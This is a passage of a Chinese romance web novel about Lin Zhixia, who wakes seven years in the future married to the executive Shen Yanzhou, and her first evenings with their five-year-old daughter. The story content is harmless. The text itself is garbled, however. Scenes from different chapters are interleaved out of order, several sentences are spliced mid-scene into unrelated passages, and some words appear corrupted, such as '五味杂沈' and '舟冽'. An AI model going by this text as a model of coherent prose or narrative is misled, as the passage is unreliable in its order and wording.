林知夏用手机搜了一圈,只找到沈砚舟接任恒越集团董事长的相关新闻,关于他父亲去向的信息寥寥无几,连一张近期的照片都没有。 至于沈砚舟的母亲,网上公开的信息就更少,只有零星几次慈善晚宴的露面记录,最近一条也是七年前的了。 林知夏将疑问暂时压在心底,决定之后有合适的机会再问问。 毕竟那两位是沈妙盈的爷爷奶奶,按习俗,她甚至应该称他们一声“爸妈”。 思索片刻,林知夏收起手机,站起身去了浴室。 洗手台前的镜子里映出一个年轻女人的身影,长发松松挽在脑后,露出光洁的额头和流畅紧致的下颌线条。 一眼望过去,这张脸和林知夏二十三岁时几乎没有差别——没有岁月留下的细纹,也没有经历世事的沧桑感。 她想起自己刚醒来时,有人说她和五年前失踪时看起来一模一样。 林知夏确信,比起医生说的她只是脑部受损导致失忆,自己的情况更像是身体穿越时空到了未来。 否则一下子从二十三岁跨越到三十岁,哪怕保养得再好,也不可能只有这么点变化。 她现在的这副身体,应该依旧保持着失踪时二十五岁的状态。 这算是为数不多的好消息:如果来到未来的事实没办法改变,那年龄增加两岁总比一下子老七岁要好。 另一个好消息是,不知道是这种超自然现象带来的影响,还是她产后的确恢复得很好,此刻林知夏没有感受到任何生育可能带来的后遗症或者不适。 将视线从镜子上收回,林知夏的目光落在洗漱台的置物架上。 上面错落有致地摆着大大小小的瓶瓶罐罐,她粗略扫了一遍,认出了其中的一半。 都是贵妇级的护肤品:精华,面霜,眼霜等等。 另外一半是林知夏没见过的牌子,看包装的精致程度就知道价格不菲,上面印着的既不是中文也不是英语,像是其他欧洲语种。 这一置物架的各类护肤品,加起来恐怕至少能抵她从前半年的工资。 林知夏扫过所有瓶瓶罐罐,在看到角落里的洗面奶后愣了愣。 一众贵妇级别的护肤品里,这支洗面奶的包装最为简陋—— 是她从十八岁时就开始用的牌子,一支二十块钱,能用很久。 林知夏大学四年都用的这一款洗面奶,直到工作后才开始尝试买更贵的,却都没有这款适合她的肤质,最后还是换了回来。 大约是因为便宜,这么多年它的包装也一直没怎么变过,很有辨识度。 林知夏盯着那支熟悉的洗面奶,又看了看旁边的那些护肤品,心中冒出一个猜测: 这些……难道都是她结婚后惯用的? 有谁能这么了解她的习惯,还如此细心地帮她准备好? 脑海里浮现出一个身影,又迅速被林知夏否认。 怎么可能。 别说是沈砚舟这样公务缠身的集团掌权人,大多数普通的男人也不会关心妻子用什么牌子的洗面奶,更不会有耐心帮她准备好所有的这些护肤品。 林知夏把脑子里的荒唐猜想扔出去,转身走到浴缸前。 望着眼前一看就很高级的智能浴缸,她突然产生了一个冲动:想立刻泡个澡,体验一下有钱人的生活。 心算了下时间,沈妙盈说是上完课来找她,应该来得及。 林知夏走出浴室打开衣柜,想找一身换洗的衣服,看到衣柜里的一条米色长裙后动作顿住。 裙子很熟悉,她一眼就认了出来。 是她毕业后用第一个月的工资买的,她清楚地记得价格:一千三百九十九,没有折扣。 大学四年,除了过冬的外衣,林知夏几乎不会买两百块钱以上的衣服。 她也说不清自己为什么会突然买一条远超她平常消费水平的裙子,大概是终于有了稳定的收入后,想要弥补那个曾经窘迫拮据的自己。 那之后林知夏也再没买过这么贵的裙子:像她这样没有退路的人,比起消费,她还是更愿意多存些钱。 如今再看到这条裙子,林知夏有种五味杂沈之感。 衣柜里还挂着些她没见过的衣服,材质大多透着贵气,是从前她在商场里看到会望而却步的那种,风格倒是她喜欢的。 林知夏猜,这些是婚后她给自己买的。 衣物看着并不显旧,面料平整顺滑,显然是这些年都被妥善存放着,今天取出时又特意熨烫打理过。 她失踪了整整五年,沈砚舟竟然也没让人把这些衣服给扔了。 从浴室的护肤品到衣柜里的衣物,这间卧室里似乎什么都一应俱全,随时等待她这个“女主人”使用。 如果不是那瓶她惯用品牌的洗面奶和毕业时买的长裙,林知夏几乎要以为一直有另一个女人住在这里。 她想,沈砚舟应该压根就没心思在意这些,一切交给工作人员来打理。 不然她实在想象不出他这么做的理由。 收回思绪,林知夏从衣柜抽屉里翻出一条丝质的吊带睡裙。 对着镜子比了下,长度到她的脚踝上面一些,洗完澡如果需要见人,外面再随便披件什么就行。 泡澡之前又看了眼手机,还是没有消息。 放下手机,林知夏走进浴室。 智能浴缸自动注满热水,浴盐球化开氤氲的香气,林知夏将身子浸入水中,闭上眼睛发出一声舒适的喟叹—— 有钱人真是会享受啊! 假如丈夫不是沈砚舟,假如这段婚姻不是那么漏洞百出…… 她的意志说不定早就被瓦解,就这么稀里糊涂地接受时空跳转和失忆的事实,踏踏实实当起豪门太太。 毕竟她一向没有什么高大上的精神追求,过往所有的努力只是为了拥有一个安稳的生活。 泡澡泡到胸口都有些闷,林知夏才恋恋不舍地从浴缸里站起来,将自己从头到脚都擦干净。 吹干头发,门口恰好响起敲门声。 砰砰砰三下,接着一个奶奶的却又中气十足的声音传来:“妈妈,你在吗?” 林知夏的嘴角不由上扬了几分,过去开门。 门口站着沈妙盈和张姨。 让沈妙盈和林知夏单独相处,张姨心里是有些不放心的。 太太没有照顾这么大孩子的经验,小姐又是个精力尤其旺盛的小姑娘,张姨担心太太一下子应付不来。 但沈妙盈不希望有人打扰自己和妈妈相处,三言两语就要赶张姨走。 张姨也知道自己再留下就不识趣了,又想起先生的叮嘱,只得把时间留给母女二人,顺便告诉太太有需要随时叫自己。 房间里只剩下两个人,沈妙盈仰头看着妈妈,半天没说话。 林知夏心下一软,蹲下身子:“怎么啦,上课累了吗?” 沈妙盈的脑袋摇得像拨浪鼓:“不累!” 林知夏:“那怎么突然不说话啦?” 沈妙盈眨眼:“我在闻妈妈身上的味道。” 林知夏失笑:“哦,那你闻到了什么?” 沈妙盈歪着想了想,小奶音透着一股认真劲儿:“甜甜的,是柚子的味道!” 林知夏了然,原来是闻到了她身上身体乳的味道。 她想再说些什么,沈妙盈忽然像是想起了什么大事,大声宣布:“对了,爸爸也特别喜欢柚子的味道!” 林知夏一怔。 没等她回神,一只软软胖胖的小手就攥住了她的手指。 沈妙盈拽着林知夏,不由分说地敲定下一步行动:“妈妈香香的,应该让爸爸也闻一闻!” 门开着,林知夏放轻脚步走过去,刚好看到沈砚舟俯身亲了下沈妙盈的额头。 沈砚舟起身后,沈妙盈看到了门口的林知夏,眼睛一亮:“妈妈,你来啦。” 声音不像之前那么中气十足,大约是真的很困了。 林知夏走上前,坐在床边:“妈妈来和你说晚安。” 沈妙盈软软地“嗯”了一声:“妈妈,你可不可以像爸爸那样,亲一下我的额头?” 林知夏:“……” 她下意识转头看了眼身后站着的沈砚舟,又迅速收回目光。 “间接亲吻”这四个字一瞬间在她脑海里蹦了出来,随即她又觉得这时候在意这些,未免太矫情。 林知夏说了声“好”,努力忽视身后男人的视线,低头亲了亲沈妙盈的额头。 沈妙盈心满意足地笑了。 小姑娘看起来眼皮都睁不开了,林知夏以为这个晚安吻过后,她就该睡着了。 没想到沈妙盈虽然已经困得口齿不清了,但还是强撑着问:“妈妈,你明天也会来吗?” 林知夏心口一滞。 “会的。”她说。 “后天呢?” “也会。” 沈妙盈又动了动嘴唇,不过实在是太困了,吐出几个模糊不清的音节后,彻底进入了梦乡。 林知夏看着小姑娘的睡颜,过了很久才慢慢站起身。 沈砚舟一直站在她的身后。 她看着他,用气声说了句“谢谢”。 林知夏想,今天一整天她和沈砚舟说过的所有话里面,这两个字应该是最真心的。 “妈妈妈妈!”沈妙盈仰着小脑袋说,“你今天在家里都做了些什么呀?” 林知夏挑着自己做的几件事和沈妙盈讲了讲,母女二人聊得很是愉快。 到了晚饭时间,来到餐厅,三人的座位还是和昨天一样。 林知夏坐下之后就一直想问沈砚舟多肉的事,却又找不到合适的机会开口。 还是沈妙盈注意到了妈妈的动作,发现妈妈今天好像看了爸爸好几次,却都没有说话。 “妈妈。”沈妙盈问,“你有话要和爸爸说吗?” 林知夏的身子一僵。 感受到男人的目光落在自己脸上,她清了清嗓子:“那个,我今天去了你的书房。” 话说出口时林知夏稍微有点紧张,虽然沈砚舟说了她可以进他的书房,但也没保证如果她真去了,他不会生气啊。 是的,在她心里,沈砚舟就是这样小心眼又难缠的男人。 谁让昨天第一次见面,这个男人就莫名其妙质问她呢。 闻言,沈砚舟神色不变,淡淡“嗯”了一声。 林知夏想,还好,应该是没生气。 她接着说:“我看到了你窗台上的多肉。” 沈砚舟的筷子一顿,再次“嗯”了一声。 林知夏一直观察他的反应:除了那一瞬间的停顿,男人的眉眼波澜不惊,仿佛她只是随口提了件无关紧要的小事。 或许那些多肉于他而言本来就没什么特别的,不过是懒得费心处理,就一直让阿姨照看着。 林知夏抿了下唇角,莫名地不死心:“都过去了这么久,你怎么一直留着,没让人扔掉?” 沈砚舟:“为什么要扔?” 林知夏:“……” 要不然说有人一开口就会噎死人呢,她的本意是想好好感谢一下沈砚舟一直留着她的花,结果现在连“谢谢”两个字都说不出口了。 沈妙盈在旁边听着爸爸妈妈说话,此时终于找到机会插话:“妈妈,你们说的是爸爸书房里的那几盆小花花吗?” 林知夏调整心情,弯唇:“是呀,宝贝也见过?” 沈妙盈:“见过呀。” 不仅见过,她还很喜欢花盆上面的图案,问爸爸能不能把花花给她来照顾。 不过爸爸拒绝了,说她还太小,照顾不好。 她和爸爸保证了好几次都没用,爸爸就是不同意。 爸爸那时候可真小气呀,沈妙盈想。 不过爸爸其他时候还是对她很好的,所以,她还是不要在妈妈面前揭爸爸的短了。 第 62 章 第六十二章 五岁的小姑娘,头顶只到林知夏的胸口,力气却超乎想象的大。 林知夏没有防备,不由自主地顺着这股力量站起身子,被拉着走出房间。 就这么懵了几秒钟,她才反应现在是个什么情况。 沈妙盈这是要拉着她去找沈砚舟! 且不说林知夏根本不想去,就算要去,她现在这身打扮也不合适。 “等一下!”林知夏连忙提高声音叫住沈妙盈,“你先别着急!” 林知夏不敢用太大力气,怕把小姑娘拉摔倒。 好在沈妙盈不是那种听不进去人说话的小孩,闻言停下了脚步,转身问:“怎么了妈妈?” 林知夏稍微松了口气。 复杂的原因担心小姑娘理解不了,直接拒绝又怕伤小姑娘的心,林知夏努力组织着语言:“你爸爸他现在可能正在忙工作呢,你想要爸爸闻柚子的味道,可以等——” “不会的!”沈妙盈信心满满地打断林知夏,“妈妈你别担心,爸爸这个时间肯定没有在工作!” 没等林知夏问“为什么”,不远处传来开门声。 循着声音望过去,一个修长挺拔的身影出现在主卧的门口。 林知夏已经在回过神的第一时间停下,但两间卧室毕竟相邻,她现在离他也就只剩几步的距离。 沈砚舟穿着件深灰色睡衣,身上带着氤氲的水汽,显然和她一样,刚洗完澡不久。 微微湿润的碎发垂顺地落在他的额前,遮住了几分眉眼的锋利,也中和了他平日里的阴沉气场。 不知是不是女儿也在场的缘故,林知夏竟生生从这个刚出浴的男人脸上看出几分温柔。 然而之前的几次交锋让她不敢忘记这个男人有多难搞,她下意识错开了与他的对视。 视线飘了下,不知怎么落在了男人的胸口:交领睡衣的领口顺着脖颈线条向下延伸,隐约勾勒出底下紧实的肌肉轮廓。 林知夏的脸颊倏地烧了起来。 天知道,虽然她从前经常和姜雨晴说什么等发达了要点几个男模养养眼,但亲眼看到这番光景的冲击力,和过嘴瘾完全是两回事。 匆忙间不知道究竟该往哪看之时,耳边响起了沈妙盈的声音:“爸爸,我和妈妈来找你啦!” 林知夏如蒙大赦:还好有女儿分散沈砚舟的注意力,不然她刚才眼神无处安放的窘态绝对已经被男人尽收眼底。 她深吸了一口气,心中默念:心如止水,心如止水! 林知夏这边调整着心情,那边沈妙盈又说:“妈妈刚刚还说她不敢来呢!” 沈砚舟:“是吗?” 伴随着这道低沉的嗓音,男人的目光落在她肩头。 林知夏身子一僵,随即想起因为视觉冲击而被她暂时忽略的事实:不只沈砚舟穿的是睡衣,她自己身上也就只有一条薄薄的吊带睡裙而已。 要说露肤的面积,她绝对更胜一筹。 听沈妙盈这么说,沈砚舟不会以为她是故意穿得这么清凉来找他吧? 今天几次和男人对话,林知夏都起码维持了表面的镇定,唯有此刻语无伦次:“不是、我没……” 沈妙盈好心地帮妈妈解释:“妈妈她担心爸爸你在工作,所以不敢来。妈妈不知道,每天晚上这个时候,爸爸都会专门空出时间陪我的!” 林知夏:“……” 当着女儿的面,好像怎么也解释不清,她索性选择沉默。 只是不动声色地抬手拨了拨头发,尽量自然地将披散的长发拢到身前,希望能挡住些露在外面的肌肤。 不敢反复摆弄——万一被沈砚舟看出她是在刻意遮掩,反而更尴尬。 此刻林知夏无比后悔,方才就应该先披件衣服再给沈妙盈开门的,她还是低估了和一个成年男性同居的麻烦程度。 沈妙盈正为自己的机智而感到骄傲。 爸爸说得果然没错,妈妈第一天来家里比较害羞,所以她要努力做妈妈的代言人! “代言人”这个词是她在电视里看到的,沈妙盈觉得这个词非常适合自己,因为听起来就特别的厉害和聪明。 父女二人一问一答了几句,接着沈妙盈想起了她和妈妈是来做什么的。 “爸爸你离妈妈近一点!”沈妙盈说,“妈妈身上有超级好闻的味道,就像一颗香香的柚子!爸爸你不是最喜欢吃柚子了吗?” 林知夏无声地抿紧唇角。 真要命,明明是小孩子的童言无忌,奈何她是一个被各种恋爱小说和电视剧荼毒了的成年人。 这下不止脸颊,整个人从脖子到胸口都有升温的趋势。 只盼着沈砚舟此人的内心看起来和外表一样正经,不会把“吃柚子”三个字往奇怪的方向联想。 眼看着男人的目光越发耐人寻味,林知夏决定还是为自己辩解一下:“我刚刚洗完澡,所以换了睡裙。她的动作太快,力气又大,我没准备好就被拉过来了。” 也不知道这话落在沈砚舟的耳朵里有几分说服力,但天地良心,她说的都是实话:她根本没料到一个五岁小孩的力气这么大。 “抱歉啊。”林知夏说,“打扰到你了。” 沈妙盈在一旁眨了眨眼睛。 可是爸爸现在明明就有空呀,为什么妈妈还要说打扰到爸爸了呢? 沈妙盈疑惑地看了眼爸爸,又看了看妈妈,在发现妈妈的脖子微微发红后恍然大悟—— 哦,妈妈肯定是不好意思了! 沈妙盈闭紧了小嘴巴,决定先不说话了。 在沈妙盈看来,两个人的关系想要变好,就必须互相说很多的话才可以。 她和爸爸的关系已经非常好了,今天她也已经和妈妈说了很多的话。 可今天在饭桌上的时候她发现,她的爸爸和妈妈之间居然互相一句话都没说! 是真的一句都没有耶! 所以现在她要把机会留给爸爸和妈妈。 沈砚舟:“不打扰,我们是夫妻,你有事随时可以找我。” 林知夏扯了扯嘴角,干笑一声。 话是这么说,可她也不敢真把他当老公来对待啊。 从前和赵延舟恋爱时,她喜欢使唤对方做各种小事,有时候还会故意凶两句耍耍性子。 而赵延舟也乐在其中,这是两人之间的情趣。 但如果现在她用同样的方式对待沈砚舟,怕是第二天,她就要从“沈太太”变成“豪门弃妇”。 心中腹诽,表面上林知夏还是说:“好,我知道了。” 沈砚舟:“洗漱的时候,有什么不习惯的地方吗?” 林知夏:“没,挺好的。” 顿了顿,她又说:“我房间里的洗浴用品和护肤品,还有衣服,都是家里哪位工作人员负责的?布置得很好,都是我喜欢的,我想去道个谢。” 沈砚舟沉默了一秒:“有空我问问管家,然后帮你转达。” 林知夏:“……哦,那也行。” 其实她更想亲自表达感谢,这些看似是小事,但对于初入陌生环境的她来说是莫大的心理安慰。 不过现在的状态,她也不想和沈砚舟纠缠,只想尽快结束这段对话。 沈妙盈在旁边听着,扁了扁嘴巴。 爸爸妈妈怎么一直在说一些不重要的事情? 她刚刚让爸爸靠近妈妈一点,爸爸却像是完全没听到一样,还是离妈妈那么远。 平常爸爸就算不答应她的要求,也绝对不会无视她的。 趁着两人都没出声的时候,沈妙盈忍不住开口叫道:“爸爸。” 等沈砚舟看过来,沈妙盈说:“你真的不想离近一点闻闻妈妈身上的味道吗?我从来不骗人的,真的是特别特别好闻的柚子味!” 林知夏在一旁无语凝噎。 好不容易被岔过去的话题,绕了一圈又回来了。 不是说小孩子的注意力都很容易被分散吗? 林知夏都要怀疑沈妙盈是不是绑定了什么系统,系统发布任务让沈妙盈撮合自己和沈砚舟。 毕竟连跳转时空这种小说里才会出现的离奇事件都发生了,有个系统也没什么奇怪的,是吧? 林知夏一边胡思乱想,一边默默地看了眼对面的沈砚舟—— 论带孩子,这个男人比自己有经验多了,应该知道怎么应付现在的状况。 沈砚舟看着女儿,耐心道:“爸爸没有不想闻,但是要妈妈愿意才可以。” 林知夏:“?” 一刹那,她差点没控制住表情想冲沈砚舟翻个白眼。 这就是有经验的爸爸的处理方法?甩锅给妈妈? 果不其然,下一秒小姑娘的眼睛就看向了她,一脸期盼。 林知夏:“……”无论如何,沈砚舟的离开是件好事,让林知夏极度紧绷的神经得以暂时解脱。 确认沈砚舟不在家后,她在别墅二层稍微走了走。 林知夏人生的前十八年,都挤在一间狭窄逼仄的老房子里。 很久以前,当那个女人冷笑着说出“这是我和我老公的家,你不满意就自己滚出去住”时,林知夏就暗暗在心里发誓—— 总有一天,她会住进一个明亮又宽敞,比那间老房子好一百倍的地方。 只是即便如此,林知夏也从来没想过有朝一日,自己会身处北城顶级富人区的豪宅里。 柔软厚实的羊毛地毯,暗纹繁复的墙纸,精致璀璨的水晶灯,目之所及的每一处细节都在无声地昭示着房子主人的财富。 林知夏想,如果忽视那个过于阴晴不定的男人,其实她的处境好像还挺不错的。 她现在可是货真价实的豪门阔太太。 林知夏本以为有赵延舟这样的豪门富二代追求自己,已经是她这辈子唯一一次有可能靠婚姻实现阶级跨越的机会。 就连赵延舟,在林知夏最初得知他的家境远比她想象得还要好之后,她也觉得两人根本不会有未来。 有钱人向来讲究强强联合,像她这样糟糕至极的家庭情况,第一步就被排除在有钱人的择偶范围之外了。 哪怕赵延舟自己愿意,他的父母也不可能同意。 但赵延舟一遍遍保证,说他是父母的老来得子,哥哥已经与富家千金联姻,父母答应他可以和自己喜欢的女孩结婚。 再加上恋爱时赵延舟对她好到无可挑剔,给足了她安全感,渐渐地,林知夏也不免开始想—— 或许她真的撞了大运,遇上了一个世间罕见的情种富二代呢? 人就是这样,明知道一些事情的概率小到近乎不可能,还是忍不住抱有希望。 没想到七年后,她真的实现了“嫁入豪门”这样的小概率事件。 只不过她的丈夫不是赵延舟,而是赵延舟的发小。 想到沈砚舟,他离开前的那句“接我们的女儿回家”又在脑海里回荡。 林知夏犹豫片刻,接通别墅的全屋智能呼叫系统,之前管家教过她使用方法。 很快,管家出现在她的面前。 林知夏问:“我想看看女儿的照片,可以吗?” 管家:“当然,相册放在一层的起居室,太太您是想下楼去看,还是我帮您把相册拿上来?” 林知夏想了想:“我过去吧。” 无论如何,起码接下来的一段时间里,她要在这栋房子里生活。 就当是熟悉环境了。 两人下楼来到一层客厅,管家从柜子里放着的一排相册之中,拿出从右向左数的第二本递给林知夏:“这本里面是小姐四岁到五岁时的照片。” 林知夏抚摸着相册的封皮:“我可以一个人看吗?” “当然。”管家应下,悄无声息地退了出去。 翻开第一页,一个粉雕玉琢的小姑娘出现在眼前。 照片里的小姑娘头顶一盏银色王冠,身上穿着蓬蓬的纱裙,一双黑葡萄似的圆眼睛看着镜头。 相纸的空白处画着个粉色的爱心,旁边歪歪扭扭写着“我4岁了”几个字。 林知夏忍不住扬起嘴角,不自觉地用指尖抚上照片里小姑娘圆乎乎的脸蛋。 她还没做好当妈妈的心理准备,却不得不承认,在看到这张照片时,她的心中有一种说不清的悸动。 这段突然砸过来的血缘关系,带给她的除了恐慌,同样也有好奇。 不过很快,焦虑又重新涌了上来。 在小姑娘的眼里,自己这个妈妈从她出生没多久就消失不见了。 要是见面时小姑娘大哭大叫,不肯认她这个妈妈怎么办? 怀着复杂的心情,林知夏把相册从头翻到尾。 几乎都是小姑娘的单人照,偶尔几张有沈砚舟的出现。 林知夏盯着照片里的男人:他微微俯身,帮小姑娘扶正歪掉的发箍,嘴角带着极淡的笑意, 如果不是亲眼所见,她几乎不敢相信那个冷硬的男人脸上,会露出这样柔和的神情。 世界上不是所有父亲都爱自己的女儿,曾经的林知夏用了很久才接受这个事实。 但起码,无论沈砚舟对她这个妻子抱有什么样的感情,他是真心疼爱他们的女儿。 这个认知,让林知夏心下安定了不少。 相册翻到最后一页,别墅的玄关传来动静。 林知夏望过去,和一双圆溜溜的大眼睛对上视线。 这双眼睛盯了她至少五秒,像是在辨认着什么。 林知夏居然被一个五岁的小孩子盯得开始紧张了。 直到小姑娘来到她身前,仰着小脸脆生生地开口:“妈妈。” 今天第一次见面,沈妙盈的表现简直称得上是天使女儿。 不哭不闹地主动喊她妈妈,带着她参观家里,晚饭时还一直找话题和她拉近距离。 所以,只是这么一个在小孩子看来很简单的愿望,如果拒绝,林知夏觉得自己简直是罪大恶极。 想了想,林知夏决定意思一下好了。 小孩子的思想没有大人那样复杂,对于沈妙盈来说,闻味道不是什么越界的举动,大约和看别人衣服是什么颜色没有什么差别。 而沈砚舟的脾气虽然古怪了点,看起来倒是克己自持,不像是会胡来的男人。 何况女儿在,他肯定有分寸。 林知夏在内心找了好几条理由说服自己,抿着唇向前走了几步,站定在沈砚舟的身前。 比正常社交距离略微近一些,却又没到过于亲密的程度。 靠近后林知夏很快意识到,其实不只是她,男人身上也有淡淡的洗浴用品的香氛气味。 冷冽的木质调,像是冬天的松林。 明明是再清冷不过的味道,林知夏的身子却陡然泛起一股热意,恍惚间,竟像是曾被这舟冽的气息用最炽热的方式拥抱过。 这样的念头吓了她一跳,心脏不受控制地剧烈跳动起来。 抬眼,撞进沈砚舟深不见底的黑眸,暗潮涌动。 林知夏慌忙后退,懊悔不已。 是她想得太简单了,女儿又不是从石头缝里蹦出来的,沈砚舟再清心寡欲,当年他们该做的肯定也全都做了。 她怎么能这样在他面前不设防。 林知夏:“我……” 慌乱间吐出一个字,又不知道该说什么。 沈砚舟在她之后开口,看的却是沈妙盈:“好了,爸爸已经闻过了,的确是很香的柚子味。” 沈妙盈鼓了鼓嘴巴。 爸爸妈妈好敷衍,只靠近了一下下,连一秒钟都不到! 不过她是个懂事的小孩子,既然爸爸妈妈都满足她了,她就不为难他们了! “好吧。”沈妙盈勉为其难地点了点头,“爸爸,我有点困了。” 往常每天上完课后,她也是先让爸爸陪自己一会儿,然后去洗漱上床,现在马上就要到她睡觉的时间了。 沈砚舟温声道:“那你先去洗澡,上床之后爸爸再来和你说晚安,好吗?” 沈妙盈:“好!” “妈妈。”沈妙盈又看向林知夏,“等我洗香香上床,你会陪爸爸一起来和我说晚安吗?” 林知夏:“……” 又是一个令人无法拒绝的要求。 林知夏在心中叹了口气,轻轻点头。 这个夜晚,未免也太漫长了些。 第 63 章 第六十三章 林知夏扯了扯嘴角。 “相信我,刚从医院醒过来的时候,我也以为自己是脑子不清楚,产生幻觉了。” 林知夏分明记得,她正坐在一家高级餐厅的包间,和男友赵延舟一起庆祝自己即将到来的二十三岁生日。 一晃神的工夫,再睁眼,她就躺在了一间病房里。 在与医护人员以及某位自称管家的男人交流了很久之后,种种证据之下,林知夏不得不接受一个事实—— 她来到了七年后。 人生如同被按下了快进键,原本二十出头的她转眼老了七岁,即将年满三十。 更可怕的是,如今的她已经结婚生子,并且有一个正在上幼儿园的女儿。 据管家说,她在二十三岁时和现在的丈夫结婚,婚后生下了一个女儿,接着在女儿不到半岁的时候离奇失踪。 而整整五年过去,就在所有人都认为她早已不在人世的时候,今天凌晨,有人在她当年失踪的城郊公园附近发现了她。 她被找到的位置处于监控死角,没人知道她是怎么出现在那个地方,又躺了多久。 目击者见她昏迷不醒,好心报了警,警方通过指纹和DNA对比确认了她的身份。 据说她被发现时看起来和五年前一模一样,衣物整洁,随身物品一件不少,就连无名指上的那枚婚戒都光泽依旧。 接下来林知夏先被送往一家私立医院,她的情况被定义为脑部损伤导致的失忆。 经过一系列的身体检查和手续过后,她又被带到了这里,她失踪前的“家”。 和她一起被发现的那部旧手机怎么都开不了机,管家给了她一部新的。 林知夏用这部新手机拨通了好友姜雨晴的号码,用了二十分钟,终于让姜雨晴相信自己就是林知夏本人。 电话那头,姜雨晴再度开口。 “那夏夏,你现在有什么打算?” 林知夏:“无论如何,我得先弄清楚这七年里到底发生了什么,你现在是我唯一能信任的人……” “不用说了!”姜雨晴抢过话头,“这样,等一会儿我忙完回酒店,就把我能想起来所有重要的事情都写在备忘录上发给你!” 一时间,林知夏仿佛回到了读书的时候,那时姜雨晴也喜欢用这样不容置喙的语气安排两人的行程。 林知夏轻抿唇角,鼻头突然有些酸:“谢谢你,雨晴。” “这有什么!”姜雨晴说,“不管你是掉进时空裂隙还是遇到了神仙,我身边嫡长闺的位置永远为你留着!” 林知夏怔了下:“嫡什么?” 姜雨晴笑笑:“最好的闺蜜的意思啦,我忘记了,你的网速还停留在七年前呢。” 两人说笑几句,姜雨晴忽然问:“对了夏夏,你刚才说你一个人在家?那你老公……他人不在?” “老公”两个字,让林知夏差点起了一身鸡皮疙瘩。 她再次看向无名指根的那枚婚戒,犹豫片刻,将戒指摘下放在床头。 仿佛这样能给自己一些心理安慰。 林知夏:“管家说他原本在国外谈生意,现在正往回赶,不知道什么时候回来。” 姜雨晴“哦”了声。 林知夏:“他……” 无论是“我老公”还是“我丈夫”都说不出口,舌头绊了下,最后还是用“他”代替。 姜雨晴猜出林知夏想问什么:“你是不是想问沈砚舟的事?你问吧。不过我没和他正式见过面,你结婚之后也很少和我提他,所以我知道的可能不多……” 林知夏下意识说了句“没事”,又觉得好像有哪里不对劲。 起初在医院醒来时,周围人一口一个“沈太太”称呼她,她还以为他们认错了人。 用了很长时间,林知夏才接受自己在七年后已经结婚的事实。 管家告诉她:“沈总已经在从伦敦赶回来看您的路上了。” 显然,这位“沈总”就是她的丈夫。 林知夏完全不记得自己认识什么“沈总”,于是得出结论:她和如今的丈夫,应该是在她记忆空白的那段时期认识的。 看周围人提起这位“沈总”时尊敬的态度,她估摸着他应该是个挺有钱的老板。 这点倒是符合她的择偶标准,很早以前林知夏就下定决心:要么不结婚,一定要结的话,必须找个有钱人。 赵延舟听说之后曾和她开玩笑:“幸好我还挺有钱的,不然就被你筛掉了。” 林知夏想再问问清楚这位“沈总”是个什么人,做的什么生意,两人如何认识,怎么谈的恋爱,又是什么时候结的婚。 只是这位管家像是被人授意,言语间有所保留,而林知夏又很快被自己还有个女儿这件事分散了注意力。 总之,林知夏没有得到太多有用的信息,甚至没能记清自己这位丈夫的大名。 此刻姜雨晴再次提起那个名字,林知夏才忽然觉得熟悉。林知夏和沈砚舟之间几乎没有任何交集,至少在她的记忆里是如此。 以至于最初听到“沈总”两个字,林知夏把自己姓沈的几个同学和同事都过了一遍,也压根没往赵延舟的这位发小身上想。 印象里她和他仅有的一次见面,是某次赵延舟带她去CBD附近吃饭,恰巧遇上了沈砚舟。 当时赵延舟揽着她的腰,一口懒洋洋的北城口音,把她介绍给沈砚舟:“夏夏,我女朋友。” 而林知夏则扬起一个温婉的笑容,乖巧地跟着问好。 人前展露出温顺无害的一面,这是林知夏从小就学会的技能,在往后的岁月里打磨得越发炉火纯青。 林知夏记得那时沈砚舟冲她微微颔首,目光分明停留在她脸上,眼底却平静得没有半分波澜,冷淡得像是在看路边一棵无关紧要的树。 她想,如果不是因为赵延舟,他大概连多瞥她一眼都嫌浪费时间。 而此时此刻,七年后的沈砚舟站在她面前,除了眉眼间的线条愈发锐利,那张脸竟和她记忆里的模样没太多差别,熟悉得让她心头一紧。 夕阳为男人周身镀上一层暖黄的金边,却丝毫冲不散他身上那股舟冽的气场。 恍惚间,林知夏以为回到了七年前初见沈砚舟的那个黄昏。 不同的是,此刻男人的目光不再漠然地从她身上掠过,而是牢牢锁在她的脸上。 林知夏第一次真切体会到,一个人的目光竟能带着如此强烈的压迫感,让她连呼吸都慢了半拍。 她下意识地想打破这可怕的沉默,张了张嘴,发现自己不知道该如何称呼对方。 “沈总”太官方,直接叫“沈砚舟”又显得突兀。 至于“老公”这两个字,光是在心里想想就令她头皮发麻。 沈砚舟异常耐心,她不说话,他也保持沉默。 半晌,林知夏终于找回自己的声音:“你什么时候回来的?” 说完才发现,这话听着太像寻常妻子对丈夫的问候,空气里的微妙感又多了几分。 林知夏懊恼,想再说句什么补救,男人没给她这个机会。 沈砚舟:“五分钟前。” 林知夏干巴巴地“哦”了一声。 如今的状况,大大超出了她的掌控范围。 一个在她记忆里约等于陌生人的男人,竟成了她的丈夫。 幸好回答了她的提问过后,沈砚舟的目光有所收敛,不再盯着她的眼睛,视线略微垂下。 林知夏紧绷的神经稍缓,手指无意识蜷了蜷——婚戒已被她取下,左手无名指的指根空荡荡的。 又是一阵安静,接着沈砚舟问:“身体有什么不舒服吗?” 林知夏松了口气:“还好,除了脑袋稍微有点晕,没有其他不舒服的地方。” 顿了顿,她状似无意地补充:“刚才我一个人在房间里待着,有些害怕,就给以前的好朋友打了个电话,聊了会儿天。” 这里名义上是她的家,但在林知夏心里等同于沈砚舟的地盘。 适当的示弱对自己有利,这是她多年以前学到的生存法则。 更重要的是,她想借这话试探——他有没有听到她和姜雨晴的通话?又听到了多少? 林知夏也说不清为什么自己会如此如临大敌,或许是巨大的信息差让她天然陷入了弱势,又或许是沈砚舟周身那股冷冽的气场激起了她本能的防备。 况且种种迹象都表明,他们的婚姻可能另有隐情。 她不可能天真地认为他是一个深情的丈夫,会满心喜悦地欢迎她这个失踪了五年的妻子回家。 或许他根本不爱她,或许这场婚姻是一场交易,又或许…… 无数猜测在脑海里盘旋,林知夏望着男人那张极为英俊的脸,试图看出些端倪。 无论是担忧,无所谓,还是厌烦,至少能让她看清他对自己的态度。 然而沈砚舟只是轻点了下头,神色几乎没有变化:“那你们聊了些什么?” 林知夏心里掠过一丝失望,含糊应道:“就是随便聊了聊以前的事情。” 沈砚舟:“比如赵延舟?” 林知夏愕然。 她以为,就算他听到了,也不会这么快就把这个名字摆到台面上。 说好的成年人之间要保持体面的呢? 木已成舟,否认也无济于事。一切林知夏担心的事情都没有发生。 小姑娘不哭不闹,乌沉沉的大眼睛望着她喊妈妈。 林知夏心头骤然一软,下意识地应了声:“哎。” 